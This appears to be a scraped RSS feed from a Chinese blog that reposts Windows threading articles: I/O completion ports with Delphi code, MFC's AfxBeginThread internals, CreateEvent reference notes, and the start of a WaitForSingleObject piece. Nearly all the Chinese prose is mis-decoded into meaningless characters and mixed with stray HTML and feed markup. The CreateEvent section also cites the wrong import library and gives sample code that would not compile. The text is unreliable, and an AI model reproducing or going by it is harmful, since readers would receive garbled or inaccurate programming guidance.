NT灝忕粍娉ㄦ剰鍒拌繖浜涘簲鐢ㄧ▼搴忕殑鎬ц兘娌℃湁棰勬枡鐨勯偅涔堥珮銆傜壒鍒殑錛屽鐞嗗緢澶氬悓鏃剁殑瀹㈡埛璇鋒眰鎰忓懗鐫寰堝綰跨▼騫跺彂鍦拌繍琛屽湪緋葷粺涓傚洜涓烘墍鏈夎繖浜涚嚎紼嬮兘鏄彲榪愯鐨刐娌℃湁琚寕璧峰拰絳夊緟鍙戠敓浠涔堜簨]錛孧icrosoft鎰忚瘑鍒癗T鍐呮牳鑺辮垂浜嗗お澶氱殑鏃墮棿鏉ヨ漿鎹㈣繍琛岀嚎紼嬬殑涓婁笅鏂嘯Context]錛岀嚎紼嬪氨娌℃湁寰楀埌寰堝CPU鏃墮棿鏉ュ仛瀹冧滑鐨勫伐浣溿傚ぇ瀹跺彲鑳戒篃閮芥劅瑙夊埌騫惰妯″瀷鐨勭摱棰堝湪浜庡畠涓烘瘡涓涓鎴瘋姹傞兘鍒涘緩浜嗕竴涓柊綰跨▼銆傚垱寤虹嚎紼嬫瘮璧峰垱寤鴻繘紼嬪紑閿瑕佸皬錛屼絾涔熻繙涓嶆槸娌℃湁寮閿鐨勩傛垜浠笉濡ㄨ鎯充竴涓嬶細濡傛灉浜嬪厛寮濂絅涓嚎紼嬶紝璁╁畠浠湪閭old[鍫靛]錛岀劧鍚庡彲浠ュ皢鎵鏈夌敤鎴風殑璇鋒眰閮芥姇閫掑埌涓涓秷鎭槦鍒椾腑鍘匯傜劧鍚庨偅N涓嚎紼嬮愪竴浠庢秷鎭槦鍒椾腑鍘誨彇鍑烘秷鎭茍鍔犱互澶勭悊銆傚氨鍙互閬垮厤閽堝姣忎竴涓敤鎴瘋姹傞兘寮綰跨▼銆備笉浠呭噺灝戜簡綰跨▼鐨勮祫婧愶紝涔熸彁楂樹簡綰跨▼鐨勫埄鐢ㄧ巼銆傜悊璁轟笂寰堜笉閿欙紝浣犳兂鎴戠瓑娉涙硾涔嬭緢閮借兘鎯沖嚭鏉ョ殑闂錛孧icrosoft鍙堟庝細娌℃湁鑰冭檻鍒板憿?”-----鎽樿嚜nonocast鐨勩婄悊瑙/O Completion Port銆?nbsp; <br><br>鍏堢湅涓涓婭OCP妯″瀷鐨勫疄鐜幫細  <br><br>//鍒涘緩涓涓畬鎴愮鍙?nbsp; <br>FCompletPort := CreateIoCompletionPort( INVALID_HANDLE_VALUE, 0,0,0 );  <br><br>//鎺ュ彈榪滅▼榪炴帴錛屽茍鎶婅繖涓繛鎺ョ殑socket鍙ユ焺緇戝畾鍒板垰鎵嶅垱寤虹殑IOCP涓?nbsp; <br>AConnect := accept( FListenSock, addr, len);  <br>CreateIoCompletionPort( AConnect, FCompletPort, nil, 0 );  <br><br>//鍒涘緩CPU鏁?2 + 2涓嚎紼?nbsp; <br>for i:=1 to si.dwNumberOfProcessors*2+2 do  <br>begin  <br>銆 AThread := TRecvSendThread.Create( false );  <br>銆 AThread.CompletPort := FCompletPort;//鍛婅瘔榪欎釜綰跨▼錛屼綘瑕佸幓榪欎釜IOCP鍘昏闂暟鎹?nbsp; <br>end; <br>  <br><br><br>灝辮繖涔堢畝鍗曪紝鎴戜滑瑕佸仛鐨勫氨鏄緩绔嬩竴涓狪OCP錛屾妸榪滅▼榪炴帴鐨剆ocket鍙ユ焺緇戝畾鍒板垰鎵嶅垱寤虹殑IOCP涓婏紝鏈鍚庡垱寤簄涓嚎紼嬶紝騫跺憡璇夎繖n涓嚎紼嬪埌榪欎釜IOCP涓婂幓璁塊棶鏁版嵁灝卞彲浠ヤ簡銆?nbsp; <br><br>鍐嶇湅涓涓婽RecvSendThread綰跨▼閮藉共浜涗粈涔堬細  <br><br>procedure TRecvSendThread.Execute;  <br>var  <br>銆 ......  <br>begin  <br>銆 while (not self.Terminated) do  <br>銆 begin  <br>銆銆 //鏌ヨIOCP鐘舵侊紙鏁版嵁璇誨啓鎿嶄綔鏄惁瀹屾垚錛?nbsp; <br>銆銆 GetQueuedCompletionStatus( CompletPort, BytesTransd,  <br>    CompletKey, POVERLAPPED(pPerIoDat), TIME_OUT );  <br><br>銆銆 if BytesTransd <> 0 then  <br>銆銆銆 ....;//鏁版嵁璇誨啓鎿嶄綔瀹屾垚  <br>銆銆  <br>銆銆銆 //鍐嶆姇閫掍竴涓鏁版嵁璇鋒眰  <br>銆銆銆 WSARecv( CompletKey, @(pPerIoDat^.BufData), 1,  <br>    BytesRecv, Flags, @(pPerIoDat^.Overlap), nil );  <br>銆銆 end;  <br>end; <br>  <br><br><br>璇誨啓綰跨▼鍙槸綆鍗曞湴媯鏌OCP鏄惁瀹屾垚浜嗘垜浠姇閫掔殑璇誨啓鎿嶄綔錛屽鏋滃畬鎴愪簡鍒欏啀鎶曢掍竴涓柊鐨勮鍐欒姹傘?nbsp; <br><br>搴旇娉ㄦ剰鍒幫紝鎴戜滑鍒涘緩鐨勬墍鏈塗RecvSendThread閮藉湪璁塊棶鍚屼竴涓狪OCP錛堝洜涓烘垜浠彧鍒涘緩浜嗕竴涓狪OCP錛夛紝騫朵笖鎴戜滑娌℃湁浣跨敤涓寸晫鍖猴紒闅鵑亾涓嶄細浜х敓鍐茬獊鍚楋紵涓嶇敤鑰冭檻鍚屾闂鍚楋紵  <br><br>榪欐鏄疘OCP鐨勫ゥ濡欐墍鍦ㄣ侷OCP涓嶆槸涓涓櫘閫氱殑瀵硅薄錛屼笉闇瑕佽冭檻綰跨▼瀹夊叏闂銆傚畠浼氳嚜鍔ㄨ皟閰嶈闂畠鐨勭嚎紼嬶細濡傛灉鏌愪釜socket涓婃湁涓涓嚎紼婣姝e湪璁塊棶錛岄偅涔堢嚎紼婤鐨勮闂姹備細琚垎閰嶅埌鍙﹀涓涓猻ocket銆傝繖涓鍒囬兘鏄敱緋葷粺鑷姩璋冮厤鐨勶紝鎴戜滑鏃犻渶榪囬棶銆?/div> </div> </td> </tr> </tbody> </table> <img src ="http://m.shnenglu.com/twzheng/aggbug/24508.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://m.shnenglu.com/twzheng/" target="_blank">璋枃鏀?/a> 2007-05-21 01:46 <a href="http://m.shnenglu.com/twzheng/articles/24508.html#Feedback" target="_blank" style="text-decoration:none;">鍙戣〃璇勮</a></div>]]></description></item><item><title>[杞琞AfxBeginThread鍑芥暟鍒濇帰http://m.shnenglu.com/twzheng/articles/23440.html璋枃鏀?/dc:creator>璋枃鏀?/author>Sat, 05 May 2007 05:42:00 GMThttp://m.shnenglu.com/twzheng/articles/23440.htmlhttp://m.shnenglu.com/twzheng/comments/23440.htmlhttp://m.shnenglu.com/twzheng/articles/23440.html#Feedback0http://m.shnenglu.com/twzheng/comments/commentRss/23440.htmlhttp://m.shnenglu.com/twzheng/services/trackbacks/23440.htmlAfxBeginThread鍑芥暟鍒濇帰
鐗堟潈鎵鏈?codesky.net 2003-2005
鍙戣〃鏃墮棿錛?005-1-16    鍏抽敭瀛楋細涓嶈

鍦ㄨ繘琛屽綰跨▼紼嬪簭璁捐鐨勬椂鍊?鎴戜滑緇忓父鐢ㄥ埌AfxBeginThread鍑芥暟鏉ュ惎鍔ㄤ竴鏉$嚎紼?br>璇ュ嚱鏁頒嬌鐢ㄨ搗鏉ラ潪甯哥殑綆鍗曟柟渚?鍏跺畾涔夊涓?

CWinThread* AfxBeginThread(
   AFX_THREADPROC pfnThreadProc,//綰跨▼鍑芥暟鍦板潃
   LPVOID pParam,//綰跨▼鍙傛暟
   int nPriority = THREAD_PRIORITY_NORMAL,//綰跨▼浼樺厛綰?br>   UINT nStackSize = 0,//綰跨▼鍫嗘爤澶у皬,榛樿涓?M
   DWORD dwCreateFlags = 0,//
   LPSECURITY_ATTRIBUTES lpSecurityAttrs = NULL
);

CWinThread* AfxBeginThread(
   CRuntimeClass* pThreadClass,
   int nPriority = THREAD_PRIORITY_NORMAL,
   UINT nStackSize = 0,
   DWORD dwCreateFlags = 0,
   LPSECURITY_ATTRIBUTES lpSecurityAttrs = NULL
);

鍙傛暟璇存槑:
pfnThreadProc:綰跨▼鍑芥暟鐨勫湴鍧,璇ュ弬鏁頒笉鑳借緗負NULL,綰跨▼鍑芥暟蹇呴』瀹氫箟鎴愬叏灞鍑芥暟鎴栬呯被鐨勯潤鎬佹垚鍛樺嚱鏁?br>渚嬪:
UINT myThreadFunc(LPVOID lparam)
鎴栬?br>class A
{
public:
        static UINT __stdcall myThreadFunc(LPVOID lparam);
}
涔嬫墍浠ヨ瀹氫箟鎴愮被鐨勯潤鎬佹垚鍛樺嚱鏁?鏄洜涓虹被鐨勯潤鎬佹垚鍛樺嚱鏁頒笉灞炰簬鏌愪釜綾誨璞?榪欐牱鍦ㄨ皟鐢ㄥ嚱鏁?br>鐨勬椂鍊欏氨涓嶇敤浼犻掍竴涓澶栫殑this鎸囬拡.

pThreadClass:鎸囧悜浠嶤WinThread媧劇敓鐨勫瓙綾誨璞$殑RUNTIME_CLASS

pParam:瑕佷紶閫掔粰綰跨▼鍑芥暟鐨勫弬鏁?/p>

nPriority:瑕佸惎鍔ㄧ殑綰跨▼鐨勪紭鍏堢駭,榛樿浼樺厛綰т負THREAD_PRIORITY_NORMAL(鏅氫紭鍏堢駭),鍏充簬綰跨▼
 浼樺厛綰х殑璇︾粏璇存槑璇峰弬鑰働latform SDK SetThreadPriority鍑芥暟璇存槑

nStackSize:鏂扮嚎紼嬬殑鍫嗘爤澶у皬,濡傛灉璁劇疆涓?,鍒欎嬌鐢ㄩ粯璁ゅぇ灝?鍦ㄥ簲鐢ㄧ▼搴忎腑涓鑸儏鍐典笅綰跨▼鐨勯粯璁ゅ爢鏍堝ぇ灝?br> 涓?M

dwCreateFlags:綰跨▼鍒涘緩鏍囧織,璇ュ弬鏁板彲浠ユ寚瀹氫負涓嬪垪鏍囧織
 CREATE_SUSPENDED:浠ユ寕璧鋒柟寮忓惎鍔ㄧ嚎紼?濡傛灉浣犲湪綰跨▼鍚姩涔嬪墠鎯沖垵濮嬪寲涓浜汣WinThread綾諱腑鐨勪竴浜涙垚鍛樺彉閲?br> 姣斿:m_bAutoDelete鎴栬呬綘鐨勬淳鐢熺被涓殑鎴愬憳鍙橀噺,褰撳垵濮嬪寲瀹屾垚涔嬪悗,浣犲彲浠ヤ嬌鐢–WinThread綾葷殑ResumeThread
 鎴愬憳鍑芥暟鏉ユ仮澶嶇嚎紼嬬殑榪愯
 濡傛灉鎶婅鏍囧織璁劇疆涓?,鍒欒〃紺虹珛鍗沖惎鍔ㄧ嚎紼?br>lpSecurityAttrs:鎸囧悜瀹夊叏鎻忚堪絎︾殑鎸囬拡,濡傛灉浣跨敤榛樿鐨勫畨鍏ㄧ駭鍒彧瑕佽璇ュ弬鏁拌緗負NULL灝卞彲浠ヤ簡!

涓婇潰灝辨槸AfxBeginThread鍑芥暟鐨勭畝鍗曡鏄?鎴戜滑鍦ㄤ嬌鐢ㄧ殑鏃跺欎竴鑸儏鍐典笅鍙鎸囧畾鍓嶄袱涓弬鏁?鍏朵粬
鍙傛暟浣跨敤榛樿鍊煎氨鍙互.鍡?鐨勭‘,浣跨敤璧鋒潵鏄緢綆鍗?鍙榪欎釜鍑芥暟涓琚皟鐢?灝卞垱寤轟簡涓涓嚎紼?
浣嗘槸澶у鏈夋病鏈夋兂榪?AfxBeginThread鍑芥暟絀剁珶鏄浣曞惎鍔ㄧ殑綰跨▼鍛?瀹冪殑鍐呴儴鏄浣曞疄鐜扮殑鍛?

涓嬮潰鎴戜滑灝辨潵鐪嬩竴涓婣fxBeginThread鍑芥暟鐨勫唴閮ㄥ疄鐜?/p>

//鍚姩worker綰跨▼
CWinThread* AFXAPI AfxBeginThread(AFX_THREADPROC pfnThreadProc, LPVOID pParam,
 int nPriority, UINT nStackSize, DWORD dwCreateFlags,
 LPSECURITY_ATTRIBUTES lpSecurityAttrs)
{
#ifndef _MT
         pfnThreadProc;
         pParam;
         nPriority;
         nStackSize;
         dwCreateFlags;
         lpSecurityAttrs;

         return NULL;
#else
         ASSERT(pfnThreadProc != NULL);

         CWinThread* pThread = DEBUG_NEW CWinThread(pfnThreadProc, pParam);
         ASSERT_VALID(pThread);

         if (!pThread->CreateThread(dwCreateFlags|CREATE_SUSPENDED, nStackSize,
                  lpSecurityAttrs))
         {
                  pThread->Delete();
                  return NULL;
         }
         VERIFY(pThread->SetThreadPriority(nPriority));
         if (!(dwCreateFlags & CREATE_SUSPENDED))
                  VERIFY(pThread->ResumeThread() != (DWORD)-1);

         return pThread;
#endif //!_MT)
}

//鍚姩UI綰跨▼
CWinThread* AFXAPI AfxBeginThread(CRuntimeClass* pThreadClass,
 int nPriority, UINT nStackSize, DWORD dwCreateFlags,
 LPSECURITY_ATTRIBUTES lpSecurityAttrs)
{
#ifndef _MT
        pThreadClass;
        nPriority;
        nStackSize;
        dwCreateFlags;
        lpSecurityAttrs;

        return NULL;
#else
        ASSERT(pThreadClass != NULL);
        ASSERT(pThreadClass->IsDerivedFrom(RUNTIME_CLASS(CWinThread)));

        CWinThread* pThread = (CWinThread*)pThreadClass->CreateObject();
        if (pThread == NULL)
                AfxThrowMemoryException();
        ASSERT_VALID(pThread);

        pThread->m_pThreadParams = NULL;
        if (!pThread->CreateThread(dwCreateFlags|CREATE_SUSPENDED, nStackSize,
                lpSecurityAttrs))
        {
                pThread->Delete();
                return NULL;
        }
        VERIFY(pThread->SetThreadPriority(nPriority));
        if (!(dwCreateFlags & CREATE_SUSPENDED))
                VERIFY(pThread->ResumeThread() != (DWORD)-1);

        return pThread;
#endif //!_MT
}

浠庝笂闈㈢殑浠g爜涓彲浠ョ湅鍑篈fxBeginThread鎵鍋氱殑浜嬫儏涓昏鏈変互涓嬪嚑鐐?

1.鍦╤eap涓厤緗竴涓柊鐨凜WinThread瀵硅薄(worker綰跨▼)
浠g爜濡?CWinThread* pThread = DEBUG_NEW CWinThread(pfnThreadProc, pParam);
璋冪敤CRuntimeClass緇撴瀯涓殑CreateObject鍑芥暟鍒涘緩CWinThread瀵硅薄
CWinThread* pThread = (CWinThread*)pThreadClass->CreateObject();
CRuntimeClass浠ュ強MFC鐩稿叧綾葷殑鍐呴儴瀹炵幇,璇︽儏璇峰弬鑰?br>銆婃繁鍏ユ祬鍑篗FC銆嬩警鎹瘋憲

2.璋冪敤CWinThread::CreateThread()騫惰瀹氬睘鎬?浣跨嚎紼嬩互鎸傝搗鐘舵佷駭鐢?br>pThread->CreateThread(dwCreateFlags|CREATE_SUSPENDED, nStackSize,lpSecurityAttrs);

3.璁懼畾綰跨▼鐨勪紭鍏堟潈
pThread->SetThreadPriority(nPriority);

4.璋冪敤CWinThread::ResumeThread
pThread->ResumeThread();

閫氳繃涓婇潰鐨勮鏄?鎴戞兂澶у瀵硅鍑芥暟鍒板簳鍦ㄥ唴閮ㄩ兘鍋氫簡浠涔?搴旇鏈変竴涓垵姝ョ殑浜嗚В浜?
瀵逛簬VC鑰佹墜鏉ヨ,榪欑瘒鏂囩珷鍙兘騫舵病鏈変粈涔堝彲璇諱箣澶?浣嗘槸瀵逛簬鍒濆鑰呮潵璇?榪樻槸鏈変竴瀹氱殑
浠峰肩殑!
鎬諱箣,甯屾湜榪欑瘒鏂囩珷鑳界粰鍚勪綅涓鐐圭偣鐨勫府鍔?



]]>
CreateEvent 鍑芥暟http://m.shnenglu.com/twzheng/articles/23439.html璋枃鏀?/dc:creator>璋枃鏀?/author>Sat, 05 May 2007 05:25:00 GMThttp://m.shnenglu.com/twzheng/articles/23439.htmlhttp://m.shnenglu.com/twzheng/comments/23439.htmlhttp://m.shnenglu.com/twzheng/articles/23439.html#Feedback0http://m.shnenglu.com/twzheng/comments/commentRss/23439.htmlhttp://m.shnenglu.com/twzheng/services/trackbacks/23439.htmlCreateEvent 鍑芥暟

鍑芥暟鍔熻兘鎻忚堪錛氬垱寤烘垨鎵撳紑涓涓懡鍚嶇殑鎴栨棤鍚嶇殑浜嬩歡瀵硅薄
鍑芥暟鍘熷瀷錛?br>HANDLE CreateEvent(
  LPSECURITY_ATTRIBUTES lpEventAttributes,   // 瀹夊叏灞炴?br>  BOOL bManualReset,   // 澶嶄綅鏂瑰紡
  BOOL bInitialState,   // 鍒濆鐘舵?br>  LPCTSTR lpName   // 瀵硅薄鍚嶇О
);

鍙傛暟錛?br>
lpEventAttributes錛?br>      [杈撳叆]涓涓寚鍚慡ECURITY_ATTRIBUTES緇撴瀯鐨勬寚閽堬紝紜畾榪斿洖鐨勫彞鏌勬槸鍚﹀彲琚瓙榪涚▼緇ф壙銆傚鏋渓pEventAttributes鏄疦ULL錛屾鍙ユ焺涓嶈兘琚戶鎵褲?br>      Windows NT/2000錛歭pEventAttributes鐨勭粨鏋勪腑鐨勬垚鍛樹負鏂扮殑浜嬩歡鎸囧畾浜嗕竴涓畨鍏ㄧ銆傚鏋渓pEventAttributes鏄疦ULL錛屼簨浠跺皢鑾峰緱涓涓粯璁ょ殑瀹夊叏絎︺?br>
bManualReset錛?br>      [杈撳叆]鎸囧畾灝嗕簨浠跺璞″垱寤烘垚鎵嬪姩澶嶅師榪樻槸鑷姩澶嶅師銆傚鏋滄槸TRUE錛岄偅涔堝繀欏葷敤ResetEvent鍑芥暟鏉ユ墜宸ュ皢浜嬩歡鐨勭姸鎬佸鍘熷埌鏃犱俊鍙風姸鎬併傚鏋滆緗負FALSE錛屽綋浜嬩歡琚竴涓瓑寰呯嚎紼嬮噴鏀句互鍚庯紝緋葷粺灝嗕細鑷姩灝嗕簨浠剁姸鎬佸鍘熶負鏃犱俊鍙風姸鎬併?br>
bInitialState錛?br>      [杈撳叆]鎸囧畾浜嬩歡瀵硅薄鐨勫垵濮嬬姸鎬併傚鏋滀負TRUE錛屽垵濮嬬姸鎬佷負鏈変俊鍙風姸鎬侊紱鍚﹀垯涓烘棤淇″彿鐘舵併?br>
lpName錛?br>      [杈撳叆]鎸囧畾浜嬩歡鐨勫璞$殑鍚嶇О錛屾槸涓涓互0緇撴潫鐨勫瓧絎︿覆鎸囬拡銆傚悕縐扮殑瀛楃鏍煎紡闄愬畾鍦∕AX_PATH涔嬪唴銆傚悕瀛楁槸瀵瑰ぇ灝忓啓鏁忔劅鐨勩?br>      濡傛灉lpName鎸囧畾鐨勫悕瀛楋紝涓庝竴涓瓨鍦ㄧ殑鍛藉悕鐨勪簨浠跺璞$殑鍚嶇О鐩稿悓錛屽嚱鏁板皢璇鋒眰EVENT_ALL_ACCESS鏉ヨ闂瓨鍦ㄧ殑瀵硅薄銆傝繖鏃跺欙紝鐢變簬bManualReset鍜宐InitialState鍙傛暟宸茬粡鍦ㄥ垱寤轟簨浠剁殑榪涚▼涓緗紝榪欎袱涓弬鏁板皢琚拷鐣ャ傚鏋渓pEventAttributes鏄弬鏁頒笉鏄疦ULL錛屽畠?yōu)畣纭畾姝ゅ彞鏌勬槸鍚﹀彲浠ヨ鐟翩壙锛屼絾鏄叾瀹夊叏鎻彉q扮鎴愬憳灝嗚蹇界暐銆?br>      濡傛灉lpName涓篘ULL錛屽皢鍒涘緩涓涓棤鍚嶇殑浜嬩歡瀵硅薄銆?br>      濡傛灉lpName鐨勫拰涓涓瓨鍦ㄧ殑淇″彿銆佷簰鏂ャ佺瓑寰呰鏃跺櫒銆佷綔涓氭垨鑰呮槸鏂囦歡鏄犲皠瀵硅薄鍚嶇О鐩稿悓錛屽嚱鏁板皢浼氬け璐ワ紝鍦℅etLastError鍑芥暟涓皢榪斿洖ERROR_INVALID_HANDLE銆傞犳垚榪欑鐜拌薄鐨勫師鍥犳槸榪欎簺瀵硅薄鍏變韓鍚屼竴涓懡鍚嶇┖闂淬?br>
      緇堢鏈嶅姟(Terminal Services)錛氬悕縐頒腑鍙互鍔犲叆"Global\"鎴栨槸"Local\"鐨勫墠緙錛岃繖鏍峰彲浠ユ槑紜殑灝嗗璞″垱寤哄湪鍏ㄥ眬鐨勬垨浜嬪姟鐨勫懡鍚嶇┖闂淬傚悕縐扮殑鍏跺畠閮ㄥ垎闄や簡鍙嶆枩鏉?\)錛屽彲浠ヤ嬌鐢ㄤ換鎰忓瓧絎︺傝緇嗗唴瀹瑰彲鍙傝僈ernel Object Name Spaces銆?br>      Windows 2000錛氬湪Windows 2000緋葷粺涓紝娌℃湁緇堢鏈嶅姟榪愯錛?Global\"鍜?Local\"鍓嶇紑灝嗚蹇界暐銆傚悕縐扮殑鍏跺畠閮ㄥ垎闄や簡鍙嶆枩鏉?\)錛屽彲浠ヤ嬌鐢ㄤ換鎰忓瓧絎︺?br>      Windows NT 4.0浠ュ強鏃╂湡鐗堟湰, Windows 95/98錛氬悕縐頒腑闄や簡鍙嶆枩鏉?\)錛屽彲浠ヤ嬌鐢ㄤ換鎰忓瓧絎︺?br>
榪斿洖鍊鹼細
       濡傛灉鍑芥暟璋冪敤鎴愬姛錛屽嚱鏁拌繑鍥炰簨浠跺璞$殑鍙ユ焺銆傚鏋滃浜庡懡鍚嶇殑瀵硅薄錛屽湪鍑芥暟璋冪敤鍓嶅凡緇忚鍒涘緩錛屽嚱鏁板皢榪斿洖瀛樺湪鐨勪簨浠跺璞$殑鍙ユ焺錛岃屼笖鍦℅etLastError鍑芥暟涓繑鍥濫RROR_ALREADY_EXISTS銆?br>      濡傛灉鍑芥暟澶辮觸錛屽嚱鏁拌繑鍥炲間負NULL錛屽鏋滈渶瑕佽幏寰楄緇嗙殑閿欒淇℃伅錛岄渶瑕佽皟鐢℅etLastError銆?br>
澶囨敞錛?br>      璋冪敤CreateEvent鍑芥暟榪斿洖鐨勫彞鏌勶紝璇ュ彞鏌勫叿鏈塃VENT_ALL_ACCESS鏉冮檺鍘昏闂柊鐨勪簨浠跺璞★紝鍚屾椂瀹冨彲浠ュ湪浠諱綍鏈夋浜嬩歡瀵硅薄鍙ユ焺鐨勫嚱鏁頒腑浣跨敤銆?br>      鍦ㄨ皟鐢ㄧ殑榪囩▼涓紝鎵鏈夌嚎紼嬮兘鍙互鍦ㄤ竴涓瓑寰呭嚱鏁頒腑鎸囧畾浜嬩歡瀵硅薄鍙ユ焺銆傚綋鎸囧畾鐨勫璞$殑鐘舵佽緗負鏈変俊鍙風姸鎬佹椂錛屽崟瀵硅薄絳夊緟鍑芥暟灝嗚繑鍥炪?br>      瀵逛簬澶氬璞$瓑寰呭嚱鏁幫紝鍙互鎸囧畾涓轟換鎰忔垨鎵鏈夋寚瀹氱殑瀵硅薄琚疆涓烘湁淇″彿鐘舵併傚綋絳夊緟鍑芥暟榪斿洖鏃訛紝絳夊緟綰跨▼灝嗚閲婃斁鍘葷戶緇繍琛屻?br>      鍒濆鐘舵佸湪bInitialState鍙傛暟涓繘琛岃緗備嬌鐢⊿etEvent鍑芥暟灝嗕簨浠跺璞$殑鐘舵佺疆涓烘湁淇″彿鐘舵併備嬌鐢≧esetEvent鍑芥暟灝嗕簨浠跺璞$殑鐘舵佺疆涓烘棤淇″彿鐘舵併?br>      褰撲竴涓墜鍔ㄥ鍘熺殑浜嬩歡瀵硅薄鐨勭姸鎬佽緗負鏈変俊鍙風姸鎬佹椂錛岃瀵硅薄鐘舵佸皢涓鐩翠繚鎸佹湁淇″彿鐘舵侊紝鐩磋嚦鏄庣‘璋冪敤ResetEvent鍑芥暟灝嗗叾緗負鏃犵鍙風姸鎬併?br>      褰撲簨浠剁殑瀵硅薄琚疆涓烘湁淇″彿鐘舵佹椂錛屼換鎰忔暟閲忕殑絳夊緟涓嚎紼嬶紝浠ュ強闅忓悗寮濮嬬瓑寰呯殑綰跨▼鍧囦細琚噴鏀俱?br>      褰撲竴涓嚜鍔ㄥ鍘熺殑浜嬩歡瀵硅薄鐨勭姸鎬佽緗負鏈変俊鍙風姸鎬佹椂錛岃瀵硅薄鐘舵佸皢涓鐩翠繚鎸佹湁淇″彿鐘舵侊紝鐩磋嚦涓涓瓑寰呯嚎紼嬭閲婃斁;緋葷粺灝嗚嚜鍔ㄥ皢姝ゅ嚱鏁扮疆涓烘棤絎﹀彿鐘舵併傚鏋滄病鏈夌瓑寰呯嚎紼嬫鍦ㄧ瓑寰咃紝浜嬩歡瀵硅薄鐨勭姸鎬佸皢淇濇寔鏈変俊鍙風姸鎬併?br>      澶氫釜榪涚▼鍙寔鏈夊悓涓涓簨浠跺璞$殑澶氫釜鍙ユ焺錛屽彲浠ラ氳繃浣跨敤姝ゅ璞℃潵瀹炵幇榪涚▼闂寸殑鍚屾銆備笅闈㈢殑瀵硅薄鍏變韓鏈哄埗鏄彲琛岀殑錛?br>      ·鍦–reateEvent鍑芥暟涓紝lpEventAttributes鍙傛暟鎸囧畾鍙ユ焺鍙緇ф壙鏃訛紝閫氳繃CreateProcess鍑芥暟鍒涘緩鐨勫瓙榪涚▼緇ф壙鐨勪簨浠跺璞″彞鏌勩?br>      ·涓涓繘紼嬪彲浠ュ湪DuplicateHandle鍑芥暟涓寚瀹氫簨浠跺璞″彞鏌勶紝浠庤岃幏寰椾竴涓鍒剁殑鍙ユ焺錛屾鍙ユ焺鍙互琚叾瀹冭繘紼嬩嬌鐢ㄣ?br>      ·涓涓繘紼嬪彲浠ュ湪OpenEvent鎴朇reateEvent鍑芥暟涓寚瀹氫竴涓悕瀛楋紝浠庤岃幏寰椾竴涓湁鍚嶇殑浜嬩歡瀵硅薄鍙ユ焺銆?br>
      浣跨敤CloseHandle鍑芥暟鍏抽棴鍙ユ焺銆傚綋榪涚▼鍋滄鏃訛紝緋葷粺灝嗚嚜鍔ㄥ叧闂彞鏌勩傚綋鏈鍚庝竴涓彞鏌勮鍏抽棴鍚庯紝浜嬩歡瀵硅薄灝嗚閿姣併?br>
浣跨敤鐜錛?br>      Windows NT/2000錛氶渶瑕?.1鎴栨洿楂樼増鏈?br>      Windows 95/98錛氶渶瑕乄indows 95鎴栨洿楂樼増鏈?br>      澶存枃浠訛細瀹氫箟鍦╓inbase.h錛涢渶瑕佸寘鍚?Windows.h銆?br>      瀵煎叆搴擄細user32.lib
      Unicode錛氬湪Windows NT/2000涓紝浠?Unicode 鍜?ANSI 鎵ц

鍙傝冿細
      Synchronization Overview, Synchronization Functions, CloseHandle, CreateProcess, DuplicateHandle, OpenEvent, ResetEvent, SECURITY_ATTRIBUTES, SetEvent, Object Names

紺轟緥浠g爜錛?br>      // 鍒涘緩涓涓湁鍚嶇殑錛屼笉鑳借緇ф壙鐨勶紝鎵嬪姩澶嶅師錛屽垵濮嬬姸鎬佹槸鏃犱俊鍙風姸鎬佺殑浜嬩歡瀵硅薄
      Handle h = CreateEvent(NULL,TRUE,FALSE,“MyEvent”);



]]>
WaitForSingleObject鐨勭敤娉?/title><link>http://m.shnenglu.com/twzheng/articles/21029.html</link><dc:creator>璋枃鏀?/dc:creator><author>璋枃鏀?/author><pubDate>Sat, 31 Mar 2007 16:04:00 GMT</pubDate><guid>http://m.shnenglu.com/twzheng/articles/21029.html</guid><wfw:comment>http://m.shnenglu.com/twzheng/comments/21029.html</wfw:comment><comments>http://m.shnenglu.com/twzheng/articles/21029.html#Feedback</comments><slash:comments>2</slash:comments><wfw:commentRss>http://m.shnenglu.com/twzheng/comments/commentRss/21029.html</wfw:commentRss><trackback:ping>http://m.shnenglu.com/twzheng/services/trackbacks/21029.html</trackback:ping><description><![CDATA[<h2 class=diaryTitle>WaitForSingleObject鐨勭敤娉?nbsp;                                      </h2> <p> </p> <p class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><strong><span lang=en style="FONT-SIZE: 8.5pt; COLOR: black; FONT-FAMILY: Verdana">WaitForSingleObject</span> </strong><span style="FONT-FAMILY: 瀹嬩綋; mso-ascii-font-family: " ?="" times="" new="" roman='?;=""' mso-hansi-font-family:=""><font size=3>鐨勭敤娉?/font> </span></p> <pre style="BACKGROUND: #dddddd"> <strong> <span lang=en style="FONT-SIZE: 8.5pt; COLOR: black">DWORD</span></strong><span lang=en style="FONT-SIZE: 8.5pt; COLOR: black"> <strong>WaitForSingleObject(</strong></span><span lang=en style="FONT-SIZE: 8.5pt; COLOR: black"><span style="mso-spacerun: yes"> </span> <strong>                     HANDLE </strong><em><span style="mso-field-code: " hyperlink="" ????=""><span id="hvzpftn" class=MsoHyperlink><span style="COLOR: #0040ff; TEXT-DECORATION: none; text-underline: none"><u>hHandle</u></span></span></span></em><strong>,</strong></span><span lang=en style="FONT-SIZE: 8.5pt; COLOR: black"><span style="mso-spacerun: yes">  </span> <strong>                     DWORD </strong><u><em><span style="mso-field-code: " hyperlink="" ????=""><span id="hvzpftn" class=MsoHyperlink><span style="COLOR: #0040ff; TEXT-DECORATION: none; text-underline: none">dwMilliseconds</span></span></span></em></u></span> <strong> <span lang=en style="FONT-SIZE: 8.5pt; COLOR: black">                  );</span></strong></pre> <p class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><span style="FONT-FAMILY: 瀹嬩綋; mso-ascii-font-family: " ?="" times="" new="" roman='?;=""' mso-hansi-font-family:=""><font size=3>鍙傛暟</font> </span><em><span lang=en style="FONT-SIZE: 8.5pt; COLOR: black; FONT-FAMILY: Verdana">hHandle</span> </em><span style="FONT-FAMILY: 瀹嬩綋; mso-ascii-font-family: " ?="" times="" new="" roman='?;=""' mso-hansi-font-family:=""><font size=3>鏄竴涓簨浠剁殑鍙ユ焺錛岀浜屼釜鍙傛暟</font> </span><em><span lang=en style="FONT-SIZE: 8.5pt; COLOR: black; FONT-FAMILY: Verdana">dwMilliseconds</span> </em><font size=3><span style="FONT-FAMILY: 瀹嬩綋; mso-ascii-font-family: " ?="" times="" new="" roman='?;=""' mso-hansi-font-family:="">鏄椂闂撮棿闅斻傚鏋滄椂闂存槸鏈変俊鍙風姸鎬佽繑鍥?/span> <span lang=en><font face="Times New Roman">WAIT_OBJECT_0</font> </span><span 